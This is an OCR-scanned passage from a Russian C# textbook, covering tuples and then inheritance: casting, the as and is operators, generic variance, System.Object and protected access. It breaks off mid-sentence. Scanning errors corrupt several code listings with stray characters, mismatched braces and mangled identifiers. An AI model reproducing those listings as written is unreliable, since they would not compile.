; Кортежи I * Последний контейнер, о котором я расскажу в данной главе, нель- зя назвать коллекцией в обычном смысле слова, поскольку количество элементов в нем не может быть переменным; однако, несмотря на это, он представляет собой универсальный контейнер, о котором вам стоит знать. Кортеж — структура данных, содержащая фиксированное коли- чество элементов. Существуют кортежи из одного, двух, трех, четырех и, в общем случае, п элементов. Количество элементов в кортеже является составной частью его типа, поэтому тип кортежа из двух элементов отличается от типа из трех. (Для сравнения, в случае массивов int [ ] является одним типом, каждый экземпляр которого может содержать разное количество эле- ментов.) Помимо того, к разным типам могут относиться и элементы кортежа, и эти типы тоже являются составной частью типа кортежа. Так, тип кортежа из двух элементов int и string отличается от типа кортежа из двух элементов int и double. Придается значение и порядку следова- ния элементов. Два кортежа из двух элементов обладают разными типа- ми, если в одном из них значение типа int стоит перед значением string ,а во втором — наоборот. Хотя все то же самое можно получить, определив собственный спе- циализированный тип данных с несколькими свойствами, использо- вание кортежей все же позволяет сэкономить некоторое время. Если требуется просто представить пару значений, не определяя для них абстракцию, то проще применить кортеж, а не создавать новый тип. Кортежи .NET также предоставляют встроенное поведение для метода Equals (он возвращает значение true, если каждый из элементов одного кортежа равен соответствующему элементу другого кортежа) и метода GetHashCode (незадокументированный алгоритм, который принимает во внимание хэш-коды каждого отдельного элемента). Платформа .NET предлагает кортежи нескольких размеров. Наиме- нее полезным является кортеж из одного элемента, Tuple<T>, который обертывает один экземпляр. Данный вид кортежа присутствует лишь для обеспечения полноты — в случае необходимости он позволяет си- стемам работать в терминах кортежей любого размера, что может быть полезным в том случае, если вы создаете генератор кода. Кортеж из двух элементов представлен классом Tuple<Tl, Т2>, и библиотека классов продолжает этот ряд до кортежа из восьми элементов с восемью аргумен- 273
Глава 5 тами типа. Существует также и необобщенный, статический класс Tuple, который предоставляет вспомогательные методы для создания кортежей всех доступных размеров. Это полезно в том отношении, что делает воз- можным логическое выведение типа, благодаря чему нам не обязательно записывать имя кортежа. В качестве примера листинг 5.38 демонстриру- ет создание кортежа с типом Tuple<int, string, int [ ], doubled Листинг 5.38. Создание кортежа из четырех элементов var myTuple = Tuple.Create(42, "Foo", new[] { 1, 2 ), 12.3); Кортежи предоставляют доступ к своему содержимому через до- ступные только для чтения пронумерованные свойства: Iteml, Item2 и т. д. В отличие от некоторых других языков с поддержкой кортежей, C# не предлагает встроенный синтаксис, позволяющий выбирать для ссылки на значения кортежа другие имена. Польза кортежей состоит в том, что они предоставляют нам возмож- ность передавать несколько фрагментов данных как единое целое без необходимости создавать класс. Иногда они используются в качестве типа параметров или возвращаемых значений, когда требуется передать несколько фрагментов данных и при этом нет очевидного типа, который должён объединить их. В ряде случаев кортежи могут быть более чи- стой альтернативой использованию аргументов out, однако все же они гораздо чаще применяются в качестве деталей реализации, а не откры- тых API-интерфейсов. (Например, компилятор C# иногда использует кортежи в своем генерируемом коде. Возможность работать с существу- ющими системными типами, а не генерировать новые, позволяет компи- лятору быть эффективнее.) Резюме В данной главе мы ознакомились с предлагаемой средой выполне- ния встроенной поддержкой массивов, а также различными классами коллекций платформы .NET Framework, которые можно использовать в том случае, когда вам требуется нечто большее, чем список с фикси- рованным количеством элементов. В следующей главе мы рассмотрим чуть более продвинутую тему — наследование.
Глава 6 НАСЛЕДОВАНИЕ Классы языка C# поддерживают наследование, популярный меха- низм повторного использования объектно-ориентированного кода. При написании класса вы можете указать необязательный базовый класс. Тогда ваш класс станет наследовать от базового; это означает, что наря- ду с теми членами, которые вы в него добавите, он будет содержать и все члены базового класса. Классы в C# поддерживают только одиночное наследование. Ин- терфейсы предлагают форму множественного наследования. Значимые типы не поддерживают ни одну из форм наследования. Одна из при- чин заключается в том, что значимые типы обычно не используются по ссылке, а это делает недоступным одно из главных преимуществ насле- дования: полиморфизм на этапе выполнения. Хотя нельзя сказать, что наследование нельзя совместить с поведением значения — кое-каким языкам удается сделать такое, — это часто связано с проблемами. На- пример, присваивание значения некоторого производного типа пере- менной базового типа приводит к потере всех полей, что были добав- лены в производном, — эту проблему называют срезкой. C# исключает подобное, разрешая наследование только для ссылочных типов. Когда вы присваиваете переменную некоторого производного типа перемен- ной базового типа, вы копируете ссылку, а не сам объект, поэтому по- следний остается нетронутым. Проблема срезки проявляется лишь в том случае, когда базовый класс предлагает метод для клонирования объектов, но не имеет спо- соба для его расширения производными классами (или же некоторый производный класс не расширяет метод, несмотря на наличие такой воз- можности). Классы специфицируют базовый класс, используя синтаксис, пока- занный в листинге 6.1, — имя базового типа указывается через двоето- чие после имени класса. В данном примере подразумевается, что класс SomeClass был опреде- лен в некотором другом месте проекта. 275
Глава 6 Листинг 6.1. Спецификация базового класса public class Derived : SomeClass { ) public class AlsoDerived : SomeClass, IDisposable { public void Disposed ( ) } Как показывает листинг 6.1, если класс реализует интерфейсы, оа также указываются после двоеточия. Если вы хотите наследовать^ класса и в то же время реализовать интерфейсы, базовый класс слеш указать первым, как иллюстрирует вторая часть этого примера. Вы можете наследовать от класса, который, в свою очередь, нас!? дует от другого класса. В листинге 6.2 класс MoreDerived наследует и класса Derived, а он, в свою очередь, наследует от класса Base. к Листинг 6.2. Цепочка наследования public class Base И { I » 1 public class Derived : Base Я { 1 } 1 public class MoreDerived : Derived * { » ) 41 Получается, что формально у класса MoreDerived несколько базови классов: он наследует и от Derived (напрямую), и от Base (косвенно,’t- рез класс Derived). Это не является множественным наследованием, в- скольку здесь присутствует только одна цепочка — любой отдельна класс наследует напрямую не более чем от одного базового. Производный класс наследует все, что есть у базового — все его под методы и другие члены, как открытые, так и закрытые, — а потому ж земпляр производного класса способен делать все, что может экземпл, базового класса. Это классические отношения is-a (является), под- разумеваемые под наследованием во многих языках. Любой экземп.'ир класса MoreDerived является экземпляром класса Derived, а также класа Base. Система типов языка C# поддерживает такой тип отношений. 276
Наследование , Наследование и преобразования C# предоставляет различные виды встроенных неявных’п'реобразо- ваний. В главе 2 мы уже рассматривали преобразования, применяемые ^числовым типам, однако существуют и преобразования, применяемые ([ссылочным типам. Если некоторый тип D наследует от типа В (напря- мую или косвенно), то ссылка типа D может быть неявно преобразована в ссылку типа В. Это следствие отношений is-a, описанных в предыду- щем разделе, — любой экземпляр типа D является экземпляром типа В. Такое неявное преобразование обеспечивает полиморфизм: любой код, ваписанный для работы в терминах типа В, сможет взаимодействовать «любым типом, производным от В. Очевидно, что не существует неявного преобразования в противо- положном направлении — хотя переменная типа В может ссылаться на объект типа D, нет гарантии, что она будет это делать. Тип В может нметь любое количество производных типов, и переменная типа В мо- жет ссылаться на экземпляр любого из них. Тем не менее иногда бывает необходимо попытаться преобразовать ссылку из базового типа в про- изводный — эту операцию называют нисходящим приведением типов. Допустим, вам известно, что некоторая переменная содержит ссыл- Лу определенного типа. Или, может быть, такой уверенности нет, и вы Лишь хотите предоставить дополнительные службы для определенных Ципов. В C# это можно сделать тремя способами. Наиболее очевидный вариант осуществления попытки нисходящего Приведения типов состоит в том, чтобы применить синтаксис приведе- ния типов, то есть тот же, который мы использовали для выполнения |еявных числовых преобразований. Пример его применения демон- стрирует листинг 6.3. ^встингб.З. Попытка выполнить нисходящее приведение типов (ЙЪИс static void UseAsDerived(Base baseArg) t rar d = (Derived) baseArg; 1? ... выполнение действий над переменной d f Й # При выполнении данного преобразования нет гарантии, что оно ^кончится успешно, — именно поэтому оно не делается неявно. Если (►данном примере аргумент baseArg будет ссылаться на некоторый 277
Глава 6 объект, не представляющий собой экземпляр типа Derived или произво- дного от Derived, преобразование закончится неудачей с выбрасывани ем исключения InvalidCastException. Поэтому использовать приведение следует лишь в том случае, если у вас есть полная уверенность, что объект относится к ожидаемом; типу, и противоположное будет расцениваться вами как ошибка. Эк преобразование полезно, когда API-интерфейс принимает некий объ- ект, который он должен возвратить позднее. Так поступают многие из асинхронных API-интерфейсов, поскольку в тех случаях, когда вы за пускаете сразу несколько операций, а затем получаете уведомления о завершении, необходимо иметь возможность как-нибудь узнать, какая именно операция была завершена (хотя мы увидим в последующих гла- вах, что существуют различные способы решения такой проблемы). По- скольку этим API-интерфейсам не известно, данные какого типа будут ассоциированы с операцией, они, как правило, принимают ссылку типа object, а после ее возвращения она преобразуется обратно в требуемый тип путем приведения. В некоторых случаях у вас не будет полной уверенности, что объект принадлежит к тому или иному определенному типу. В таком случае, как показано в листинге 6.4, вместо операции приведения типов можно вос- пользоваться оператором as, который позволяет осуществить попытку преобразования, не рискуя получить исключение. В случае неудачного завершения преобразования данный оператор просто возвращает значе- ние null. Листинг 6.4. Оператор as public static void MightUseAsDerived(Base b) { var d = b as Derived; if (d != null) { ... выполнение действии над переменной d } I Наконец, иногда бывает полезно узнать, ссылается ли ссылка на объ- ект некоторого типа, даже не используя члены этого типа. Напримф иногда требуется пропустить какой-то вид обработки для определенно- го производного класса. В листинге 6.5 оператор is выполняет проверь 278
Наследование относится ли объект к указанному типу, возвращая значение true, если это так, и значение false в противном случае. Листинг 6.5. Оператор is if (! (b is WeirdType)) I ... выполнение обработки, необходимой для всех переменных, за исключением переменной типа WeirdType ) При выполнении преобразования с использованием операции при- ведения типов или оператора as, а также при применении оператора is необязательно указывать тип точно. Для успешной работы лишь необ- ходимо, чтобы ссылку реального типа объекта можно было неявно пре- образовать в нужный вам тип. Например, допустим, у вас есть типы Base, Derived и MoreDerived из листинга 6.2, а также переменная типа Base, ко- торая в данный момент содержит ссылку на экземпляр типа MoreDerived. Очевидно, что можно выполнить приведение ссылки к типу MoreDerived (и для этого типа также будут успешно работать операторы as и is), однако, как вы, вероятно, уже предположили, ее можно преобразовать и к типу Derived. Данные три механизма применимы и к интерфейсам. Попытка пре- образовать ссылку к определенному типу интерфейса будет успешной в том случае, если объект, на который она указывает, реализует этот ин- терфейс. Наследование интерфейсов Интерфейсы тоже поддерживают наследование, однако это не со- всем то же самое, что наследование классов. В данном случае использу- ется такой же синтаксис, но, как показывает листинг 6.6, интерфейс мо- жет специфицировать несколько базовых интерфейсов, поскольку C# поддерживает множественное наследование интерфейсов. Причиной, почему платформа .NET поддерживает этот вид наследования в случае интерфейсов, несмотря на возможность только лишь одиночного насле- дования реализаций, является тот факт, что большая часть сложностей и возможных неоднозначностей, связанных с использованием множе- ственного наследования, не распространяется на чисто абстрактные типы. 279
Глава 6 Листинг 6.6. Наследование интерфейсов । interface IBasel ( void BaselMethodO; ( } interface IBase2 ( void Base2Method(); } interface IBoth : IBasel, IBase2 { void Method3(); ) Как и классы, интерфейсы наследуют все члены своих базовш типов, поэтому в данном случае интерфейс IBoth включает метод! BaselMethod и Base2Method, а также собственный Methods. Также суще ствуют неявные преобразования от производных типов интерфейсе! к их базовым типам. Например, ссылку типа IBoth можно присвоил переменной типа IBasel или IBase2. Аналогичным образом любой класс, который реализует произво1 дный интерфейс, также реализует и его базовые интерфейсы. При этом как показывает листинг 6.7, классу нужно сообщить лишь о том, чл он реализует производный интерфейс (в данном случае IBoth), однам компилятор будет действовать так, как если бы в списке интерфейсе! вы указали и базовые интерфейсы (IBasel и IBase2). Листинг 6.7. Реализация производного интерфейса public class Impl : IBoth { public { 1 void BaselMethodO J public void Base2Method() { J public void Method3 () { ) ) 280
Наследование Обобщения При наследовании от обобщенного класса необходимо предоставить требуемые им аргументы типа. Это должны быть точно указанные типы, если только производный класс тоже не является обобщенным, в случае чего он может использовать в качестве аргументов собственные параме- тры типа. Листинг 6.8 демонстрирует оба этих подхода, а также показы- вает, что при наследовании от класса с несколькими параметрами типа такие подходы можно использовать одновременно, непосредственно указывая один аргумент типа и откладывая указание другого. Листинг 6.8. Наследование от обобщенного базового класса public class GenericBasel<T> { public T Item { get; set; } I public class GenericBase2<TKey, TValue> I public TKey Key { get; set; } public TValue Value { get; set; } ) public class NonGenericDerived : GenericBasel<string> I I public class GenericDerived<T> : GenericBasel<T> 1 I public class MixedDerived<T> : GenericBase2<string, T> I Хотя вы можете свободно использовать любой из ваших параметров ипа в качестве аргументов типа базового класса, наследовать от пара- ветра типа нельзя. Это слегка разочарует вас, если вы привыкли к язы- йм, которые позволяют делать подобное, однако спецификация языка C# просто-напросто запрещает такое. Ковариантность и контравариантность В главе 4 я упомянул, что обобщенные типы обладают особыми пра- вилами совместимости типов, известными как ковариантность и кон- 281
Глава 6 травариантность. Эти правила устанавливают, можно ли неявно преоб- разовывать друг в друга ссылки определенных обобщенных типов, когда существуют неявные преобразования между их аргументами типа. * Ковариантность и контравариантность применимы только 4 ш к аргументам обобщенных типов интерфейсов и делегатов —^-3?' (последние будут рассмотрены в главе 9). Определить кова- риантный класс или структуру нельзя. Допустим, что у нас определены простые классы Base и Derived из листинга 6.2. Давайте рассмотрим метод из листинга 6.9, который при- нимает любой объект типа Base. (Хотя он ничего не делает с этим объ- ектом, в данном случае это не важно — важно лишь, что, согласно сигна- туре, может использовать этот метод.) Листинг 6.9. Метод, принимающий любой объект типа Base public static void UseBase(Base b) ( I Мы уже знаем, что, помимо ссылки на любой объект типа Base, дан- ный мётод может принять и ссылку на экземпляр любого типа, произ- водного от Base, например, типа Derived. Принимая это во внимание, да- вайте рассмотрим метод, представленный в листинге 6.10. Листинг 6.10. Метод, принимающий любой объект типа iEnumerable<Base> public static void AllYourBase(IEnumerable<Base> bases) { ) Он требует объект, реализующий обобщенный интерфейс lEnumerable<T>, который мы рассмотрели в главе 5, с подстановкой в ка- честве аргумента Т типа Base. Что, как вы думаете, произойдет, если мы попытаемся передать объект, который реализует не IEnumerable<Base>, a IEnumerable<Derived>? Это делает код в листинге 6.11, и компиляция, что характерно, проходит успешно. Листинг 6.11. Передача объекта типа iEnumerable<Derived> IEnumerable<Derived> derivedBases = new Derived!] { new DerivedUr new Derived() ); AllYourBase(derivedBases); 282
Наследование Если рассуждать чисто интуитивно, в этом есть смысл. Метод AllYourBase ожидает объект, способный предоставить последователь- ность объектов типа Base. Объект типа IEnumerable<Derived> удовлетво- ряет этому условию, поскольку предоставляет последовательность объек- тов типа Derived, а любой объект типа Derived является также и объектом типа Base. Однако что можно сказать о методе в листинге 6.12? Листинг в.12. Метод, принимающий любой объект типа iCollection<Base> public static void AddBase(ICollection<Base> bases) { bases. Add (new BaseO); I Как вы, возможно, помните из главы 5, интерфейс ICollection<T> на- следует от интерфейса IEnumerable<T> и в дополнение к последнему обе- спечивает несколько способов модификации коллекции. Метод AddBase использует данный интерфейс для добавления в коллекцию нового объ- екта типа Base. Для кода в листинге 6.13 это означает проблему. Листинг 6.13. Ошибка: попытка передать объект типа iCollection<Derived> ’ ICollection<Derived> derivedList = new List<Derived>(); AddBase(derivedList); // He откомпилируется Любой код, использующий переменную derivedList, будет ожидать, что каждый объект в этом списке принадлежит к типу Derived (или про- изводному от Derived, например, к типу MoreDerived из листинга 6.2). Однако метод AddBase в листинге 6.12 пытается добавить экземпляр базового типа Base. Подобное не может быть верным, и компилятор не допускает этого. Данный вызов метода AddBase приводит к ошибке ком- пилятора, сообщающей о том, что ссылки типа ICollection<Derived> нельзя неявно преобразовать в ссылки типа ICollection<Base>. Так каким же образом компилятор узнает, что данный код выполнять нельзя, в то время как код с очень похожим преобразованием из типа IEnumerable<Derived> в IEnumerable<Base> является допустимым? При- чина кроется не в том, что определение метода AddBase в листинге 6.12 содержит код, вызывающий проблему. Мы получили бы точно такое же сообщение об ошибке, даже если бы метод AddBase был абсолютно пу- стым. В первом примере компилятор не выдает сообщение об ошибке потому, что интерфейс IEnumerable<T> объявляет свой аргумент типа Т как ковариантный. Используемый для этого синтаксис вы уже видели 283
Глава 6 в главе 5, однако в тот момент я не заострял на нем внимание; давайте еще раз взглянем на соответствующую часть определения интерфейса, которую я привожу в листинге 6.14. Листинг 6.14. Ковариантный параметр типа public interface IEnumerable<out Т> : lEnumerable С данной задачей справляется ключевое слово out. (Как я уже го- ворил, C# продолжает свойственную языкам семейства С традицию назначать каждому ключевому слову несколько разных, несвязанных между собой задач — мы уже видели применение этого ключевого слова для обозначения параметров метода, возвращающих информацию вы- зывающей программе.) На интуитивном уровнеобозначение аргумента типа Т словом out (англ, исходящий) имеет смысл в том отношении, что интерфейс IEnumerable<T> всегда только предоставляет аргумент Т — он не определяет никаких членов, которые бы принимали т (данный интер- фейс использует параметр типа Т лишь в одном месте: в доступном толь- ко для чтения свойстве Current). Давайте посмотрим, как в этом отношении ведет себя интерфейс ICollection<T>. Он наследует от интерфейса IEnumerable<T>, потому очевидно, что мы можем извлечь аргумент т из него, но в то же время он позволяет и передать т в свой метод Add. Таким образом, интерфейс ICollection<T> не может аннотировать свой аргумент типа ключевым сло- вом out. (При попытке написать ваш собственный аналогичный интерфейс компилятор выдаст сообщение об ошибке, если вы объявите аргумент типа как ковариантный. Не веря вам на слово, компилятор выполнит проверку, действительно ли создаваемый вами метод не позволяет передать ему ар- гумент Т.) Компилятор отклоняет код в листинге 6.13, поскольку аргумент Т не объявлен в интерфейсе ICollection<T> как ковариантный. Термины ковариантный и контравариантный пришли в програм- мирование из отрасли математики, известной как теория категорий. Параметры, которые ведут себя подобно т интерфейса IEnumerable<T>, называются ковариантными (в противоположность контравариантным) по той причине, что неявные преобразования ссылок этого обобщенного типа выполняются в том же направлении, что и преобразования аргу- мента типа: тип Derived может быть неявно преобразован в тип Base, и, поскольку аргумент т объявлен в интерфейсе IEnumerable<T> как кова- риантный, тип IEnumerable<Derived> может быть неявно преобразован в тип IEnumerable<Base>. 284
Наследование Контравариантность действует противоположным образом и, как можно было уже догадаться, обозначается с помощью ключевого слова in. Показать ее в деле проще всего с помощью кода, использующего чле- ны типов, поэтому в листинге 6.15"яЪривожу чуть более интересную по сравнению с предыдущими примерами пару классов. Листинг 6.15. Иерархия классов и реальные члены public class Shape { public Rect BoundingBox { get; set; } } public class RoundedRectangle : Shape public double CornerRadius { get; set; } } В листинге 6.16 определены еще два класса, которые используют эти типы фигур. Оба реализуют интерфейс IComparer<T>, рассмотрен- ный нами в главе 4. Класс BoxAreaComparer выполняет сравнение двух фигур по площади, занимаемой их ограничивающей рамкой — ббльшей считается та фигура, которая занимает большую площадь. Класс CornerSharpnessComparer, с другой стороны, сравнивает прямоугольни- ки с закругленными углами по остроте их углов. Листинг 6.16. Сравнение фигур public class BoxAreaComparer : IComparer<Shape> public int Compare (Shape x, Shape y) { double xArea = x.BoundingBox.Width * x.BoundingBox.Height; double yArea = y.BoundingBox.Width * у.BoundingBox.Height; return Math.Sign(xArea - yArea); } } public class CornerSharpnessComparer : IComparer<RoundedRectangle> public int Compare(RoundedRectangle x, RoundedRectangle y) { 285
Глава 6 // Чем меньше угол, тем он острее, поэтому в данном // сравнении большим считается угол с меньшим радиусом; // отсюда обратное вычитание, return Math.Sign(y.CornerRadius - x.CornerRadius); } } CcbWKHTHnaRoundedRectangleMoryr6biTbHeflBHonpeo6pa30BaHbiBTHn Shape, а что можно сказать о типе IComparer<T>? Класс BoxAreaComparer способен сравнивать любые фигуры и объявляет об этом, реализуя интерфейс lComparer<Shape>. Аргумент типа Т данного интерфейса ис- пользуется только в методе Compare, который принимает любые объекты типа Shape. Его нисколько не смутит, если мы передадим ему пару ссы- лок типа RoundedRectangle, поэтому класс BoxAreaComparer можно счи- тать вполне адекватной реализацией типа IComparer<RoundedRectangle>. Таким образом, неявное преобразование из типа lComparer<Shape> в тип IComparer<RoundedRectangle> имеет смысл, и компилятор его допуска- ет. Класс CornerSharpnessComparer, с другой стороны, более придирчив. Он использует свойство CornerRadius, которое доступно для класса RoundedRectangle, но не для класса Shape. Потому неявного преобразо- вания из типа IComparer<RoundedRectangle> в тип IComparer<Shape> не существует. Это поведение противоположно тому, что мы наблюдали в слу- чае интерфейса IEnumerable<T>. Неявное преобразование из типа IEnumerable<Tl> в тип IEnumerable<T2> существует при наличии неявно- го преобразования ссылок из типа Т1 в тип Т2. Однако неявное преобра- зование из типа IComparer<Tl> в тип IComparer<T2> существует при нали- чии неявного преобразования ссылок в противоположном направлении: из типа Т2 в Т1. Эти инвертированные отношения называются контрава- риантностью. В листинге 6.17 приведена часть определения интерфейса 1Сотрагег<Т>, демонстрирующая данный контравариантный параметр типа. Листинг в. 17. Контравариантный параметр типа public interface IComparercin Т> Большинство параметров обобщенного типа не являются ни ковари- антными, ни контравариантными. Интерфейс ICollection<T> не может быть вариантным по той причцне, что некоторые из его членов прини- мают параметр Т, а некоторые возвращают его. Помимо прямоугольника с закругленными углами, объект типа !Collection<Shape> может содер- 286
Наследование жать и другие фигуры; следовательно, его нельзя передавать методу, ожи- дающему объект типа ICollection<RoundedRectangle>, поскольку тот будет рассчитывать на то, что каждый извлекаемый из коллекции объект окажет- ся прямоугольником с закругленными углами. С другой стороны, нельзя рассчитывать, что объект типа ICollection<RoundedRectangle> разрешит добавление в коллекцию каких-либо других фигур, помимо прямоуголь- ников с закругленными углами; следовательно, такой объект нельзя пере- давать методу, ожидающему объект типа ICollection<Shape>, поскольку такой метод может попытаться добавить фигуры других видов. Иногда обобщения не поддерживают ковариантность или кон- цч; А ч травариантность даже в тех ситуациях, где это вполне имело - бы смысл. Причиной является то, что, хотя среда CLR поддер- живает вариантность, начиная с введения обобщений в .NET 2.0, в C# полная поддержка вариантности появилась лиШЬ' в версии 4.0. До ее выхода в 2010 году в C# не было возмож- ности написать ковариантное или контравариантное обоб- щение; при попытке применить ключевое слово in или out к параметру типа компилятор выдавал сообщение об ошиб- ке. В версии 4.0 была также модифицирована библиотека классов .NET Framework: многие из классов, которые раньше не поддерживали вариантность, но для которых это имело смысл, стали ее поддерживать. Однако существует и множе- ство других библиотек классов, и если они были написаны до выхода .NET 4.0, то, скорее всего, не определяют ни один из видов вариантности. Массивы поддерживают ковариантность совершенно так же, как и интерфейс IEnumerable<T>. Это вызывает удивление, поскольку позво- ляет писать методы наподобие того, что представлен в листинге 6.18. Листинг в. 18. Модификация элемента массива public static void UseBaseArray(Base[] bases) { bases[0] = new Base (); Вызвав данный метод из кода, представленного в листинге 6.19, мы совершим такую же ошибку, какую я допустил в листинге 6.13, когда передал объект типа ICollection<Derived> в метод, пытавшийся доба- вить в коллекцию объект отличного от Derived типа. Однако в отличие 287
Глава 6 от кода из листинга 6.13, при компиляции которого выдается сообщение об ошибке, код из листинга 6.19 успешно откомпилируется, причиной чему будет вызывающая удивление ковариантность массивов. Листинг 6.19. Передача массива с производным типом элементов Derived!] derivedBases = { new Derived!), new Derived!) }; UseBaseArray(derivedBases); Создается впечатление, что мы каким-то чудом можем занести в мас- сив ссылку на объект, не являющийся экземпляром типа элементов мас- сива — в данном случае поместить в массив Derived [ ] ссылку на объект отличного от Derived типа Base. Однако это будет нарушением системы типов. Неужели такое возможно? На самом деле C# вполне корректным образом запрещает такое на- рушение, но делает это на этапе выполнения. Несмотря на то что ссыл- ка на массив типа Derived [ ] может быть неявно преобразована в ссыл- ку типа Base [ ], любая попытка присвоить значение элементу массива несогласующимся с системой типов образом приведет к исключению ArrayTypeMismatchException. Следовательно, при выполнении кода из листинга 6.18, когда он попытается занести ссылку на объект типа Base в массив типа Derived [ ], будет выброшено это исключение. Так что безопасность типов соблюдается, и довольно удобным об- разом. Если мы напишем метод, который будет принимать массив и вы- полнять только чтение из него, то такой метод будет работать даже в слу- чае, если мы передадим ему массив с некоторым производным типом элементов. Отрицательным моментом является то, что, во избежание несовместимости типов, при модификации элементов массива среда CLR вынуждена делать дополнительную проверку на этапе выполне- ния. Иногда ей удается оптимизировать код и избежать необходимости осуществить проверку для каждой отдельной операции присваивания, однако некоторые накладные расходы остаются и в этом случае, а пото- му массивы в C# не столь эффективны, как могли бы быть. Такое довольно странное положение дел уходит своими корнями^ в то время, когда платформа .NET еще не формализовала концепции; ковариантности и контравариантности — это было сделано с введени-j ем обобщений в версии 2.0. Если бы обобщения присутствовали в .NETS с самого начала, то, возможно, массивы вели бы себя менее странно^ однако, с другой стороны, эта странная форма ковариантности массич вов на протяжении многих лет оставалась единственным встроенным 288 I
Наследование в платформу механизмом для ковариантной передачи коллекции мето- ду для чтения с использованием индексированного доступа. До появле- ния в версии 4.5 интерфейса IReadOnbytist<T> (параметр т у которого ковариантен) в .NET не было интерфейса индексированной коллекции только для чтения и, соответственно, стандартного интерфейса индек- сированной коллекции с ковариантным параметром типа. (Интерфейс IList<Т> допускает как чтение, так и запись, поэтому совершенно так же, как ICollection<T>, не может предложить вариантность.) Раз уж мы затронули тему совместимости типов и тех неявных пре- образований ссылок, которые становятся доступными при наследова- нии, стоит рассмотреть еще один тип: object. Тип System.Object Тип System.Object, или, как его обычно называют в С#, object, по- лезен тем, что способен служить в качестве своего рода универсально- го контейнера: в переменной данного типа можно сохранить ссылку на почти любой объект. Я уже упоминал об этом ранее, но не объяснил, почему оно работает. Причиной служит то, что почти все типы являются производными от типа object. Если при написании класса вы не укажете базовый класс, то в каче- стве такового C# будет автоматически использовать тип object. Хотя, как мы вскоре увидим, для определенных разновидностей типов, таких как структуры, выбираются другие базовые типы, даже они косвенно наследуют от типа object. (Единственным исключением, как всегда, яв- ляются типы указателей — они не наследуют от object.) Отношения между типом object и интерфейсами чуть более слож- ны. Последние не наследуют от типа object, поскольку в качестве их базового типа требуется задавать только другой интерфейс. Однако ссылка любого интерфейсного типа может быть неявно преобразована в ссылку типа object. Это преобразование всегда будет допустимым, поскольку все типы, которые обладают способностью реализовывать интерфейсы, в конечном счете, являются производными от типа obj ect. Более того, C# позволяет выполнять доступ к членам класса object че- рез ссылки интерфейсов, несмотря на то что эти члены, строго гово- ря, не являются членами интерфейсов. Следовательно, любые ссылки всегда предлагают следующие методы типа object: ToString, Equals, GetHashCode и GetType. 289
Глава 6 Повсеместно используемые методы типа object Я уже неоднократно использовал в примерах метод ToString. Реали- зация по умолчанию возвращает имя типа объекта, однако многие типы предоставляют собственную реализацию этого метода, возвращающую более полезное текстовое представление текущего значения объекта. Например, числовые типы возвращают десятичное представление свое- го значения, а тип bool — строку "True” или "False". Методы Equals и GetHashCode уже рассматривались в главе 3, одна- ко в качестве повторения стоит кратко рассказать о них еще раз. Метод Equals обеспечивает возможность сравнения объекта с любым другим объектом. Реализация по умолчанию выполняет простое сравнение идентичности, то есть возвращает true только в том случае, когда объект сравнивается с самим собой. Многие типы предоставляют собственную версию метода Equals, которая выполняет сравнение значений — напри- мер, два различных объекта типа string могут содержать идентичный текст, и в этом случае метод посчитает их равными друг другу. (На слу- чай необходимости всегда остается доступным и сравнение идентично- сти через статический метод ReferenceEquals класса object.) Кстати го- воря, в классе object также определена статическая версия метода Equal, которая принимает два аргумента. Она проверяет, не равны ли аргумен- ты значению null, после чего возвращает true, если оба аргумента равны null, и false, если null равен только один аргумент; если же значению null не равен ни один из аргументов, она делегирует выполнение методу Equals первого из них. Как уже говорилось в главе 3, метод GetHashCode возвращает целое число, которое является усеченным представлением значения объекта и используется основанными на хэш-кодах механиз- мами, такими как класс коллекции Dictionary<TKey, TValueX Любые два объекта, для которых метод Equals возвращает true, должны возвращать один и тот же хэш-код. Метод GetType предоставляет возможность получить сведения о типе объекта. Он возвращает ссылку типа Туре. Данный тип является состав- ной частью API-интерфейса отражения, которому посвящена глава 13. Наряду с описанными выше открытыми членами, доступными че- рез любую ссылку, в классе object определены еще два члена, которые не обладают широкой доступностью (доступом к ним членам облада- ет только сам объект). Это методы Finalize и MemberwiseClone. Finalize вызывается средой CLR, чтобы уведомить вас, что объект больше не ис- пользуется и занимаемая им память будет освобождена. Работа с этим 290
Наследование методом в С#, как правило, не выполняется напрямую, поскольку, как будет рассказано в главе 7, данный механизм представлен в виде де- структоров. Метод MemberwiseClone создает новый экземпляр с таким же типом, как у вашего объекта, и инициализирует его копиями всех полей этого объекта. Если вы нуждаетесь в определенном способе клонирова- ния объектов, то проще воспользоваться данным методом, чем писать код для копирования всего содержимого вручную. Причиной, почему эти два последних метода доступны только из самого объекта, является то, что вы вряд ли захотели бы предоставить другим людям возможность клонировать ваш объект; столь же мало пользы было бы и от предоставления внешнему коду возможности вы- зывать метод Finalize, тем самым заставляя объект ошибочно считать, что он будет удален из памяти. Класс object ограничивает доступность этих членов, однако в то же время они и не являются закрытыми — что означало бы их доступность только для самого класса object, поскольку закрытые члены невидимы даже для производных классов. Вместо это- го они помечены как защищенные с помощью спецификатора доступа protected, предназначенного для сценариев наследования. Наследование и доступность К этому моменту вы уже должны быть знакомы с большинством уровней доступа, применимых к типам и их членам. Элементы, поме- ченные как public (открытый), общедоступны; члены, помеченные как private (закрытый), доступны только из объявившего их типа; помечен- ные же как internal (внутренний) доступны любому коду, определенно- му в том же компоненте*. Однако с наследованием мы получаем еще два уровня доступа. Члены, помеченные как protected (защищенный), доступны внутри определившего их типа, а также внутри всех производных. Однако для кода, который использует экземпляр вашего типа, защищенные члены будут недоступны, совершенно так же, как закрытые. Существует еще один уровень защиты членов типа: protected internal (защищенный внутренний). (Если вам так больше нравится, можно писать internal protected, порядок слов здесь не имеет значе- ния.) Этот спецификатор делает члены более доступными, чем protected * А точнее, в той же сборке. Сборкам посвящена глава 12. 291
Глава 6 и internal по-отдельности: члены будут доступны для всех производных типов й всего кода, определенного в той же сборке. “ Возможно, у вас возник вопрос о наличии очевидного концеп- 4ч туального дополнения: членов, доступных только для типов, которые одновременно являются производными от опреде- ляющего типа и определены в том же компоненте. Среда CLR поддерживает этот уровень защиты, однако C# не предостав- ляет никакого способа его специфицировать. Спецификаторами protected и protected internal можно помечать не только методы, но и любые другие разновидности членов типа. Их допускается использовать даже при определении Сложенных типов. Несмотря на то что члены, помеченные как protected и protected internal, недоступны через обычную переменную определяющего типа, они являются частью открытого API-интерфейса типа, в том смысле, что эти типы способны использовать все, у кого будет доступ к вашему классу. Как и в большинстве других языков, которые используют сходный механизм, защищенные члены в C# обычно применяются для предо- ставления служб, которые могут оказаться полезными для производных классов. Если вы напишете закрытый класс, который будет поддержи- вать наследование, то кто угодно сможет наследовать от этого класса и получить доступ к его защищенным членам. Потому удаление или из- менение защищенных членов несет в себе 